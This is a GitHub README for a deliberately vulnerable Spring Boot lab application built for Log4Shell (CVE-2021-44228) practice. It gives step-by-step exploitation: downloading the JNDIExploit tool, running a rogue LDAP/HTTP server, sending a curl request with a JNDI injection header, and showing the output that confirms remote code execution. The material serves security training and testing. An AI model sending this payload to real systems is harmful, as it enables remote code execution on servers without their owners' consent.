Spring Boot web application vulnerable to Log4Shell (CVE-2021-44228).
Go to file
2021-12-14 18:09:31 +01:00
gradle/wrapper Initial commit 2021-12-10 13:48:21 +01:00
src/main Remove unused files and rename packages 2021-12-10 14:06:19 +01:00
.gitignore Initial commit 2021-12-10 13:48:21 +01:00
build.gradle Remove unused files and rename packages 2021-12-10 14:06:19 +01:00
Dockerfile Use 7.3.1-jdk17 docker image to support non-amd64 arch 2021-12-11 00:27:02 +01:00
gradlew Initial commit 2021-12-10 13:48:21 +01:00
gradlew.bat Initial commit 2021-12-10 13:48:21 +01:00
LICENSE Add license (closes request in #16) 2021-12-14 18:09:31 +01:00
README.md Update README.md 2021-12-13 12:11:34 +01:00
screenshot.png Add screenshot 2021-12-10 13:50:35 +01:00
settings.gradle Remove unused files and rename packages 2021-12-10 14:06:19 +01:00

Log4Shell sample vulnerable application (CVE-2021-44228)

This repository contains a Spring Boot web application vulnerable to CVE-2021-44228, nicknamed Log4Shell.

It uses Log4j 2.14.1 (through spring-boot-starter-log4j2 2.6.1) and the JDK 1.8.0_181.

Running the application

Run it:

docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

Build it yourself (you don't need any Java-related tooling):

docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app vulnerable-app

Exploitation steps

Note: This is highly inspired from the original LunaSec advisory. Run at your own risk, preferably in a VM in a sandbox environment.

Update (Dec 13th): The JNDIExploit repository has been removed from GitHub (presumably, not by GitHub). Just append web.archive.org in front of the JNDIExploit download URL below to use the version cached by the Wayback Machine.

wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888
  • Then, trigger the exploit using:
# will execute 'touch /tmp/pwned'
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://your-private-ip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
  • Notice the output of JNDIExploit, showing it has sent a malicious LDAP response and served the second-stage payload:
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned

[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://192.168.1.143:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /192.168.1.143:50119  /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
  • To confirm that the code execution was successful, notice that the file /tmp/pwned.txt was created in the container running the vulnerable application:
$ docker exec vulnerable-app ls /tmp
...
pwned
...

Reference

https://www.lunasec.io/docs/blog/log4j-zero-day/ https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/

Contributors

@christophetd @rayhan0x01